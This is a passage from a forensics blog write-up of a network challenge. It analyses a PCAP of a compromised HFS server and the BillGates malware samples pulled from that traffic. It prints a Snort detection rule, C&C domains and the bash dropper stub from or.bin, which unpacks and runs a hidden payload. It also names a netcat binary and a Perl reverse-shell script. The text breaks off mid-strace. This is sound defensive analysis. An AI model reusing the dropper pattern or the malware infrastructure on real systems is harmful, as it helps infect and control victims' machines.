<p>Having all of my tools of trade handy I decided to load the PCAP into Wireshark and start from there. As the provided Snort signature was simple and only looked for two strings it was easy to find matching packets without a need to use Snort:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>alert tcp any any -&gt; any any (msg:"HFS [File Download]";flow:to_client,established; content:"HFS 2.";distance:0; content:"HFS_SID="; classtype:suspicious; sid:999999; rev:1;)</span></code></pre></td></tr></table></div></figure>


<p><img class="center" src="http://dfir.it/images/tekdefense-network-challenge-001/1_wireshark_hfs.png" title="Wireshark - HFS packets" alt="Wireshark - HFS packets"></p>

<p>Wireshark found 13 matching packets, each belonging to different TCP session (based on different destination ports). The Snort signature seemed to be looking for the server version and part of HTTP cookie headers set by the server in HTTP response:</p>

<p><img class="center" src="http://dfir.it/images/tekdefense-network-challenge-001/2_wireshark_hfs_http.png" title="Wireshark - TCP stream 191" alt="Wireshark - TCP stream 191"></p>

<p>Quick Google search revealed that strings in HTTP headers are characteristic to <a href="http://www.rejetto.com/hfs/">HTTP File Server (HFS)</a> - a server designed for file sharing. According to provided challenge scenario it was a Snort hit that alerted customer about (potentially) suspicious activity.</p>

<p>I started wondering why file transfer from a server running specific software (HFS) could be a (potential) indicator of compromise? Well, it did not take long until I came across articles from <a href="http://www.antiy.net/p/a-large-number-of-servers-by-hfs-are-exploited-to-spread-malware/">Antiy</a> and <a href="http://blog.malwaremustdie.org/2014/11/china-elf-botnet-malware-infection.html">MalwareMustDie</a> describing how vulnerable HFS servers were being exploited in order to serve malware.</p>

<p>At this point I assumed that the server <em>104.236.210.97</em> belonged to the client and was a target of malicious activity.</p>

<h3><a name="initial_analysis"></a>Initial Analysis</h3>

<p>As the provided PCAP file was roughly 56 megabytes I felt like I need to get a better understanding of what kind of traffic was actually captured there.</p>

<p>With the help of several tshark filters presented below I obtained some basic stats on network protocols, sessions and ports present in the PCAP. My initial goal was to at least skim through traffic for top protocols and sessions and look for anything suspicious. Just a brief look showed large number of SSH sessions and UDP packets destined to port 80 which seemed to be a little bit off, warranting further analysis.</p>

<figure class='code'><figcaption><span>Mapping of number of packets and associated protocols </span></figcaption>
<div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>tshark -n -r NetChallenge_Linux.pcap -T fields -e _ws.col.Protocol <span class="p">|</span> sort <span class="p">|</span> uniq -c <span class="p">|</span> sort -nr <span class="p">|</span> head -10
</span><span class='line'><span class="m">56607</span> TCP
</span><span class='line'><span class="m">32038</span> QUIC
</span><span class='line'><span class="m">6136</span> SSHv2
</span><span class='line'><span class="m">1843</span> ARP
</span><span class='line'> <span class="m">305</span> SSH
</span><span class='line'> <span class="m">149</span> DNS
</span><span class='line'> <span class="m">126</span> ICMP
</span><span class='line'>  <span class="m">89</span> HTTP
</span><span class='line'>  <span class="m">62</span> NTP
</span><span class='line'>  <span class="m">28</span> UDP
</span></code></pre></td></tr></table></div></figure>




<figure class='code'><figcaption><span>Established TCP connections and associated TCP ports (server side) </span></figcaption>
<div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>tshark -n -r NetChallenge_Linux.pcap -Y <span class="s2">&quot;tcp.len == 0 and tcp.seq == 1 and tcp.ack == 1 and tcp.flags.ack == 1 and not tcp.flags.reset == 1&quot;</span> -T fields -e tcp.dstport <span class="p">|</span> sort <span class="p">|</span> uniq -c <span class="p">|</span> sort -nr
</span><span class='line'>  <span class="m">73</span> 22
</span><span class='line'>  <span class="m">13</span> 5198
</span><span class='line'>  <span class="m">10</span> 80
</span><span class='line'>   <span class="m">5</span> 8080
</span><span class='line'>   <span class="m">2</span> 443
</span><span class='line'>   <span class="m">1</span> 30890
</span></code></pre></td></tr></table></div></figure>




<figure class='code'><figcaption><span>Top 10 destination ports for UDP packets </span></figcaption>
<div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'>tshark -n -r NetChallenge_Linux.pcap -Y <span class="s2">&quot;udp&quot;</span> -T fields -e udp.dstport <span class="p">|</span> sort <span class="p">|</span> uniq -c <span class="p">|</span> sort -nr <span class="p">|</span> head -10
</span><span class='line'><span class="m">32039</span> 80
</span><span class='line'>  <span class="m">82</span> 53
</span><span class='line'>  <span class="m">40</span> 53413
</span><span class='line'>  <span class="m">39</span> 123
</span><span class='line'>  <span class="m">36</span> 5060
</span><span class='line'>  <span class="m">18</span> 137
</span><span class='line'>   <span class="m">8</span> 1900
</span><span class='line'>   <span class="m">4</span> 5353
</span><span class='line'>   <span class="m">4</span> 520
</span><span class='line'>   <span class="m">4</span> 161
</span></code></pre></td></tr></table></div></figure>


<p>With such amount of traffic I needed a good way to document and represent network connection data in order to be able to correlate all suspicious events. I decided to use tshark to export important information to CSV files and then import them to Excel. This seemed to be the quickest and simplest way to organize the data I needed.</p>

<p>I started with HTTP and used following two commands to extract needed HTTP request and response data from the PCAP:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>tshark -n -r NetChallenge_Linux.pcap -Y "http.request and not ssdp" -T fields -e _ws.col.Time -e ip.src -e ip.dst -e tcp.dstport -e http.host -e http.user_agent -e http.request.method -e http.request.uri -E header=y -E separator=, > http_requests.csv</span></code></pre></td></tr></table></div></figure>




<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>tshark -n -r NetChallenge_Linux.pcap -Y "http.response and not ssdp" -T fields -e _ws.col.Time -e ip.src -e ip.dst -e tcp.srcport -e http.response.code  -e http.server -e http.content_type -e http.content_length -E header=y -E separator=, > http_responses.csv</span></code></pre></td></tr></table></div></figure>


<p>It was not that hard to correlate and combine both outputs. As you can expect number of HTTP requests roughly matched number of HTTP responses so it was just a matter of a single copy and paste operation to get them together in a single Excel worksheet. As a result each entry in my timeline contained fields extracted from both HTTP requests and responses making it much more readable (at least for me!).</p>

<p><img class="center" src="http://dfir.it/images/tekdefense-network-challenge-001/3_excel_http_requests.png" title="Excel - HTTP timeline" alt="Excel - HTTP timeline"></p>

<p>Having my HTTP timeline ready I started reviewing and marking entries with colors. At that point I still did not have a good understanding of intrusion but as some entries seemed to be more suspicious than others it was a good way to mark them for follow up.</p>

<p>Throughout my analysis I used three different colors to visually expose entries:</p>

<ul>
<li>Red: Malicious activity.</li>
<li>Yellow: Neutral activity that can turn either side depending on further findings.</li>
<li>Green: Benign activity.</li>
</ul>


<p>After looking at collected HTTP entries I concluded that:</p>

<ul>
<li>All HTTP requests from <em>104.236.210.97</em> to <em>120.210.129.29</em> that matched the Snort rule indicated malicious activity.</li>
<li>All HTTP requests from <em>104.236.210.97</em> to <em>mirrors.digitalocean.com</em> and <em>nyc2.mirrors.digitalocean.com</em> seemed to be benign as both servers are known mirrors for Debian and Ubuntu packages.</li>
<li>Inbound HTTP requests from <em>104.236.59.209</em> to victim server <em>104.236.210.97</em> for <em>nc.exe</em> and <em>back.pl</em> seemed to be at least suspicious.</li>
<li>All requests for <em>testproxy.php</em> seemed to be a part of common open proxy scanning and I disregarded them as benign and not related to the investigated case.</li>
<li>I treated requests from Microsoft-owned IP addresses <em>40.78.146.128</em> and <em>104.209.188.207</em> as benign but potentially interesting. They seemed to come from Skype Preview service indicating that someone must have sent a link to <em>hxxp://104.236.210.97/index.html.1</em> over Skype - maybe even attackers exchanged a link to newly compromised server?</li>
<li>Rest of captured HTTP requests seemed to be a &ldquo;background noise&rdquo; and they were not relevant for further investigation.</li>
</ul>


<p><img class="center" src="http://dfir.it/images/tekdefense-network-challenge-001/4_http_timeline.png" title="Excel - colored HTTP timeline" alt="Excel - colored HTTP timeline"></p>

<p>As I was going through subsequent flows I started adding information about different IP addresses in a separate tab - just to have a handy source of reference.</p>

<p><img class="center" src="http://dfir.it/images/tekdefense-network-challenge-001/5_hosts.png" title="Excel - Hosts tab" alt="Excel - Hosts tab"></p>

<h3>Analysis of extracted files</h3>

<p>Extracting files from the PCAP was not a particularly hard task. As all transfers I spotted were using HTTP I just used Wireshark&rsquo;s Export Objects option:</p>

<p><img class="center" src="http://dfir.it/images/tekdefense-network-challenge-001/6_export_files.png" title="Wireshark - Export HTTP Objects" alt="Wireshark - Export HTTP Objects"></p>

<p>I quickly got rid of irrelevant HTML files as most of them just represented 404 (e.g. <em>testproxy.php</em>) or 302 (e.g. from <em>mirrors.digitalocean.com</em>) HTTP responses. Just by looking at file names and their sources I had suspicions which ones will turn out to be malicious. I did not bother investigating any of .deb files as they all came from legitimate source. I also assumed that in-depth analysis of every file was not a goal of the challenge - though I still wanted to extract all relevant network and endpoint indicators. Due to lack of time I decided to rely on basic static analysis, OSINT research and only when needed - dynamic analysis.</p>

<p>In the first place I gathered MD5s of files of interest and used <a href="http://www.tekdefense.com/automater/">Automater</a> to quickly query VirusTotal:</p>

<ul>
<li><a href="https://www.virustotal.com/en/file/0d352d4982605ceda672066a7a9c0af11484fef1e1bcf8ad532e5938398dd3a5/analysis/">c3a59d53af7571b0689e5c059311dbbe  (16081)</a></li>
<li><a href="https://www.virustotal.com/en/file/bdcbe3391365cdff66b9084280eb9884df48bebf38295d2f4bd7273666d04fed/analysis/">ff1e9d1fc459dd83333fd94dbe36229a  (2.6.32)</a></li>
<li><a href="https://www.virustotal.com/en/file/fffeb83a842b1c170dc554033f9636d8a0d626cbe6720ddc793291a52a2750e0/analysis/">cd291abe2f5f9bc9bc63a189a68cac82  (SYN)</a></li>
<li><a href="https://www.virustotal.com/en/file/d835a36a67c283fe4c6655f2d6c646ab3e1fa21223fff336a2b779311ac81e07/analysis/">3e9a55d507d6707ab32bc1e0ba37a01a  (SYN_1902)</a></li>
<li><a href="https://www.virustotal.com/en/file/fffeb83a842b1c170dc554033f9636d8a0d626cbe6720ddc793291a52a2750e0/analysis/">cd291abe2f5f9bc9bc63a189a68cac82  (Trustr)</a></li>
<li><a href="https://www.virustotal.com/en/file/734969a27e37e6d90894c0476d8270da0b2553e7ef7f8c177544cb210b76f645/analysis/">a91261551c31a5d9eec87a8435d5d337  (Windows_1902)</a></li>
<li><a href="https://www.virustotal.com/en/file/ef082d9b96749859a57a2dc1dc83f8292d676730b35e03954a93312d80d041b3/analysis/">fbaeef2b329b8c0427064eb883e3b999  (back.pl)</a></li>
<li>f07647a98e2a91ab8f3a7797854d795c  (index.html.1)</li>
<li><a href="https://www.virustotal.com/en/file/bc7e93032538ff68c51618371366c0e8850cf94055388a3abc4125fd81c4c595/analysis/">f4b3ec28a7b92de2821c221ef0faed5b  (java.log)</a></li>
<li><a href="https://www.virustotal.com/en/file/977bec891255e82fff1c1d1a62612bd04eb3ccb5193c2b3edec6745f66317972/analysis/">1c207af4a791c5e87dcd209f2dc62bb8  (nc.exe)</a></li>
<li><a href="https://www.virustotal.com/en/file/b0a70b65c9245b9315282c0af3a8baa26992536bfbc15e4ad94ad6a91b0e647b/analysis/">09b62916547477cc44121e39e1d6cc26  (or.bin)</a></li>
<li><a href="https://www.virustotal.com/en/file/734969a27e37e6d90894c0476d8270da0b2553e7ef7f8c177544cb210b76f645/analysis/">a91261551c31a5d9eec87a8435d5d337  (winappes.exe)</a></li>
<li><a href="https://www.virustotal.com/en/file/0f8f535318eae24b39f8bee9b57f1a139b7fc3f77280e88a54a63cda7d94159f/analysis/">c5593d522903e15a7ef02323543db14c  (xmapp)</a></li>
</ul>


<p>Except for the file  <em>or.bin</em> (09b62916547477cc44121e39e1d6cc26), all queried files had detections from multiple AV products. I combined CSV output from the Automater to yet another tab in my timeline spreadsheet. I also added size, type and architecture (based on <em>file</em> output) columns:</p>

<p><img class="center" src="http://dfir.it/images/tekdefense-network-challenge-001/7_files_tab.png" title="Excel - Files tab" alt="Excel - Files tab"></p>

<p>Below are my notes for the BillGates binaries and the <em>or.bin</em> script as I found them most relevant and interesting. I&rsquo;m going to skip descriptions of other extracted files like <em>nc.exe</em> (Netcat) or <em>back.pl</em> (reverse shell Perl script) as cursory analysis immediately reveals what they are.</p>

<h4>BillGates Malware</h4>

<p>My goal here was just to confirm that all files detected as BillGates malware were in fact malicious. I also wanted to know how does network traffic generated by each ELF executable look like. I thought that identifying such traffic in the PCAP could give me new interesting leads.</p>

<p>After reading several awesome write-ups on BillGates from <a href="https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/bill-gates-botnet-threat-advisory.pdf">Akamai</a>, <a href="http://blog.malwaremustdie.org/2015/08/mmd-0039-2015-chinaz-made-new-malware.html">MalwareMustDie</a> and <a href="http://www.novetta.com/wp-content/uploads/2015/06/NTRG_ElasticBotnetReport_06102015.pdf">Novetta</a> I knew what to look for in collected files.</p>

<p>Thankfully all files were not stripped so simply running <em>strings</em> on them revealed some interesting details. I also noticed that all ELF files were exactly <a href="https://www.threatminer.org/av.php?q=Linux/Backdoor.1223123.B">1223123</a> bytes long - it was yet another indicator that they belong to BillGates malware family.</p>

<figure class='code'><figcaption><span>Output of the &#8216;file&#8217; command </span></figcaption>
<div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>16081:        ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
</span><span class='line'>SYN:          ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
</span><span class='line'>SYN_1902:     ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
</span><span class='line'>Trustr:       ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
</span><span class='line'>java.log:     ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
</span><span class='line'>xmapp:        ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped</span></code></pre></td></tr></table></div></figure>


<p>All ELF files contained references to source code files that were almost identical to ones identified by <a href="http://www.novetta.com/wp-content/uploads/2015/06/NTRG_ElasticBotnetReport_06102015.pdf">Novetta</a> and <a href="http://blog.malwaremustdie.org/2015/08/mmd-0039-2015-chinaz-made-new-malware.html">MalwareMustDie</a> in their reports.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
<span class='line-number'>40</span>
<span class='line-number'>41</span>
<span class='line-number'>42</span>
<span class='line-number'>43</span>
<span class='line-number'>44</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="nv">$ </span>strings SYN <span class="p">|</span> grep <span class="s1">&#39;\.cpp&#39;</span>
</span><span class='line'>AmpResource.cpp
</span><span class='line'>Attack.cpp
</span><span class='line'>CmdMsg.cpp
</span><span class='line'>ConfigDoing.cpp
</span><span class='line'>DNSCache.cpp
</span><span class='line'>ExChange.cpp
</span><span class='line'>Global.cpp
</span><span class='line'>Main.cpp
</span><span class='line'>Manager.cpp
</span><span class='line'>MiniHttpHelper.cpp
</span><span class='line'>ProtocolUtil.cpp
</span><span class='line'>ProvinceDns.cpp
</span><span class='line'>StatBase.cpp
</span><span class='line'>SysTool.cpp
</span><span class='line'>ThreadAtk.cpp
</span><span class='line'>ThreadClientStatus.cpp
</span><span class='line'>ThreadConnection.cpp
</span><span class='line'>ThreadDoFun.cpp
</span><span class='line'>ThreadFakeDetect.cpp
</span><span class='line'>ThreadHttpGet.cpp
</span><span class='line'>ThreadKillChaos.cpp
</span><span class='line'>ThreadLoopCmd.cpp
</span><span class='line'>ThreadMonGates.cpp
</span><span class='line'>ThreadRecycle.cpp
</span><span class='line'>ThreadShell.cpp
</span><span class='line'>ThreadShellRecycle.cpp
</span><span class='line'>ThreadTask.cpp
</span><span class='line'>ThreadTns.cpp
</span><span class='line'>ThreadUpdate.cpp
</span><span class='line'>UserAgent.cpp
</span><span class='line'>AutoLock.cpp
</span><span class='line'>FileOp.cpp
</span><span class='line'>Ijduy.cpp
</span><span class='line'>Iysd76.cpp
</span><span class='line'>Log.cpp
</span><span class='line'>Md5.cpp
</span><span class='line'>Media.cpp
</span><span class='line'>NetBase.cpp
</span><span class='line'>ThreadCondition.cpp
</span><span class='line'>Thread.cpp
</span><span class='line'>ThreadMutex.cpp
</span><span class='line'>Utility.cpp
</span><span class='line'>WinDefSVC.cpp
</span></code></pre></td></tr></table></div></figure>


<p>The last file (a91261551c31a5d9eec87a8435d5d337) was a PE binary. DrWeb&rsquo;s detection on VirusTotal claimed that it was <em>BackDoor.Gates.8</em>. I was not aware about Windows versions of BillGates malware but Stormshield&rsquo;s <a href="https://thisissecurity.net/2015/09/30/when-elf-billgates-met-windows/">blog post</a> quickly got me back on the right track.</p>

<p>As described by Stormshield, the file contained multiple embedded PE binaries inside its resources section:</p>

<p><img class="center" src="http://dfir.it/images/tekdefense-network-challenge-001/8_pestudio.png" title="pestudio - resources section of a91261551c31a5d9eec87a8435d5d337" alt="pestudio - resources section of a91261551c31a5d9eec87a8435d5d337"></p>

<figure class='code'><figcaption><span>PDB paths in a91261551c31a5d9eec87a8435d5d337 </span></figcaption>
<div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ strings winappes.exe  | grep pdb
</span><span class='line'>\GatesInstall\Release\GatesInstall.pdb
</span><span class='line'>\2003\i386\agony.pdb
</span><span class='line'>\IECtrl\Release\IECtrl.pdb
</span><span class='line'>e:\releases\winpcap_4_1_0_2001\winpcap\packetntx\driver\bin\amd64\npf.pdb
</span><span class='line'>e:\releases\winpcap_4_1_0_2001\winpcap\packetNtx\Dll\Project\Release No NetMon\x64\Packet.pdb
</span><span class='line'>\Gates\Release\Gates.pdb
</span><span class='line'>\Gates\x64\Release\Gates.pdb</span></code></pre></td></tr></table></div></figure>


<p>At that point I was confident that I can identify all these files as belonging to BillGates malware family in my report. The last thing I needed were network indicators.</p>

<p>I followed the below process for ELF files in order to obtain C&amp;C address, protocols, and ports used for C&amp;C communications:</p>

<ul>
<li>I configured my Linux VM to use my other Windows VM running in the same isolated network segment as a DNS server.</li>
<li>I configured FakeNet to respond with IP address of my Windows VM for every observed DNS request.</li>
<li>I ran Wireshark and FakeNet on my Windows VM.</li>
<li>I executed sample and observed issued DNS requests.</li>
<li>I observed subsequent connection attempts and when needed I adjusted FakeNet&rsquo;s configuration so it listened on specific port that malware was trying to connect.</li>
<li>I noted C&amp;C addresses, used ports and saved captured traffic to PCAP file for further reference.</li>
</ul>


<p>Below is sample analysis for the <em>SYN</em> binary (<code>cd291abe2f5f9bc9bc63a189a68cac82</code>):</p>

<figure class='code'><figcaption><span>DNS requests captured after executing the SYN binary (cd291abe2f5f9bc9bc63a189a68cac82) </span></figcaption>
<div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
</pre></td><td class='code'><pre><code class=''><span class='line'># tcpdump -i eth0 -n 'port 53'
</span><span class='line'>tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
</span><span class='line'>listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
</span><span class='line'>23:25:14.794299 IP 172.16.250.133.41452 > 172.16.250.1.53: 27320+ A? top.t7ux.com. (30)
</span><span class='line'>23:25:15.014225 IP 172.16.250.133.43559 > 172.16.250.1.53: 27576+ A? www.vnc8.com. (30)
</span><span class='line'>23:25:20.799249 IP 172.16.250.133.48032 > 172.16.250.1.53: 28856+ A? top.t7ux.com. (30)
</span><span class='line'>23:25:21.015454 IP 172.16.250.133.40558 > 172.16.250.1.53: 29112+ A? www.vnc8.com. (30)
</span><span class='line'>23:25:26.798733 IP 172.16.250.133.53643 > 172.16.250.1.53: 30392+ A? top.t7ux.com. (30)
</span><span class='line'>23:25:27.015546 IP 172.16.250.133.42158 > 172.16.250.1.53: 30648+ A? www.vnc8.com. (30)
</span><span class='line'>23:25:32.799605 IP 172.16.250.133.33856 > 172.16.250.1.53: 31928+ A? top.t7ux.com. (30)
</span><span class='line'>23:25:33.014514 IP 172.16.250.133.51408 > 172.16.250.1.53: 32184+ A? www.vnc8.com. (30)
</span><span class='line'>23:25:38.799074 IP 172.16.250.133.53824 > 172.16.250.1.53: 33464+ A? top.t7ux.com. (30)
</span><span class='line'>23:25:39.015045 IP 172.16.250.133.49985 > 172.16.250.1.53: 33720+ A? www.vnc8.com. (30)</span></code></pre></td></tr></table></div></figure>


<p><img class="center" src="http://dfir.it/images/tekdefense-network-challenge-001/9_fakenet.png" title="FakeNet output for the SYN binary (cd291abe2f5f9bc9bc63a189a68cac82)" alt="FakeNet output for the SYN binary (cd291abe2f5f9bc9bc63a189a68cac82)"></p>

<p><img class="center" src="http://dfir.it/images/tekdefense-network-challenge-001/10_wireshark.png" title="Sample network communication generated by the SYN binary (cd291abe2f5f9bc9bc63a189a68cac82) and captured by Wireshark" alt="Sample network communication generated by the SYN binary (cd291abe2f5f9bc9bc63a189a68cac82) and captured by Wireshark"></p>

<p>The process for Windows version of malware (<code>a91261551c31a5d9eec87a8435d5d337</code>) was much simpler as I just needed to execute it in my Windows VM and observe <em>FakeNet</em>&rsquo;s output.</p>

<p>Next I updated my Excel spreadsheet with collected network indicators and proceeded to the next extracted file.</p>

<p><img class="center" src="http://dfir.it/images/tekdefense-network-challenge-001/11_files_tab_2.png" title="Excel - Exported files" alt="Excel - Exported files"></p>

<h4>or.bin</h4>

<p><em>or.bin</em> was an interesting file. Beginning of the file contained simple Bash script that read and extracted a <em>tar.gz</em> archive appended to the end of the script. When extracted it just started <em>install</em> binary:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="nv">$ </span>head -11 or.bin
</span><span class='line'><span class="c">#!/bin/bash</span>
</span><span class='line'><span class="nv">line</span><span class="o">=</span><span class="sb">`</span>wc -l <span class="nv">$0</span><span class="p">|</span>awk <span class="s1">&#39;{print $1}&#39;</span><span class="sb">`</span>
</span><span class='line'><span class="nv">line</span><span class="o">=</span><span class="sb">`</span>expr <span class="nv">$line</span> - 10<span class="sb">`</span>
</span><span class='line'>mkdir /tmp/.tmp123 -p <span class="o">&amp;&amp;</span> tail -n <span class="nv">$line</span> <span class="nv">$0</span> <span class="p">|</span>tar zx -C /tmp/.tmp123
</span><span class='line'>rm -rf *.bin <span class="o">&amp;&amp;</span> <span class="nb">cd</span> /tmp/.tmp123
</span><span class='line'>./install
</span><span class='line'><span class="nv">ret</span><span class="o">=</span><span class="nv">$?</span>
</span><span class='line'><span class="c">#</span>
</span><span class='line'><span class="c">#</span>
</span><span class='line'><span class="c">#</span>
</span><span class='line'><span class="nb">exit</span> <span class="nv">$ret</span>
</span></code></pre></td></tr></table></div></figure>


<p>The <em>install</em> file seemed to be a stripped 64-bit ELF binary. Interestingly, the archive contained also a file named <em>ooz.tgz</em> which was not a <em>tar.gz</em> archive as suggested by its extension. The file contained very specific header &ldquo;Salted__&rdquo; indicating that it was encrypted using <a href="https://github.com/openssl/openssl/blob/master/apps/enc.c#L84">OpenSSL</a>.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="nv">$ </span>file or.bin.tmp
</span><span class='line'>or.bin.tmp: gzip compressed data, last modified: Tue Jun <span class="m">23</span> 05:44:34 2015, from Unix
</span><span class='line'><span class="nv">$ </span>tar -tvf or.bin.tmp
</span><span class='line'>-rwx--x--x  <span class="m">0</span> root   root    <span class="m">12832</span> Jun <span class="m">23</span>  <span class="m">2015</span> install
</span><span class='line'>-rw-r--r--  <span class="m">0</span> root   root  <span class="m">5672984</span> Jun <span class="m">23</span>  <span class="m">2015</span> ooz.tgz
</span><span class='line'><span class="nv">$ </span>file install
</span><span class='line'>install: ELF 64-bit LSB executable, x86-64, version <span class="m">1</span> <span class="o">(</span>SYSV<span class="o">)</span>, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, <span class="k">for</span> GNU/Linux 2.6.9, stripped
</span><span class='line'><span class="nv">$ </span>file ooz.tgz
</span><span class='line'>ooz.tgz: data
</span><span class='line'><span class="nv">$ </span>xxd -l <span class="m">16</span> ooz.tgz
</span><span class='line'>00000000: <span class="m">5361</span> 6c74 <span class="m">6564</span> 5f5f 2d91 d71e 0a4f 02f2  Salted__-....O..
</span></code></pre></td></tr></table></div></figure>


<p>It looked like I would need to analyze the <em>install</em> file to learn how to decrypt <em>ooz.tgz</em>. Unfortunately, after initial inspection I knew that it will not be that easy. Binary seemed to implement several anti-analysis techniques. All strings in the binary were obfuscated:</p>

<p><img class="center" src="http://dfir.it/images/tekdefense-network-challenge-001/12_ida.png" title="IDA Pro - Obfuscated strings" alt="IDA Pro - Obfuscated strings"></p>

<p>Basic anti-debugging was implemented by making one of the child processes attach to the main process using a <a href="https://www.aldeid.com/wiki/Ptrace-anti-debugging">ptrace()</a> call, effectively preventing use of debuggers and tools like <em>strace</em>:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
</pre></td><td class='code'><pre><code class=''><span class='line'># strace -f ./install
</span><span class='line'>(...)
</span><span class='line'>[pid 38792] open("/proc/38791/as", O_RDWR|O_EXCL) = -1 ENOENT (No such file or directory)
</span><span class='line'>[pid 38792] ptrace(PTRACE_ATTACH, 38791, 0, 0) = -1 EPERM (Operation not permitted)
</span><span class='line'>[pid 38792] dup(2)                      = 0
</span><span class='line'>[pid 38792] fcntl(0, F_GETFL)           = 0x8002 (flags O_RDWR|O_LARGEFILE)
</span><span class='line'>[pid 38792] brk(0)                      = 0x1078000
</span><span class='line'>[pid 38792] brk(0x1099000)              = 0x1099000
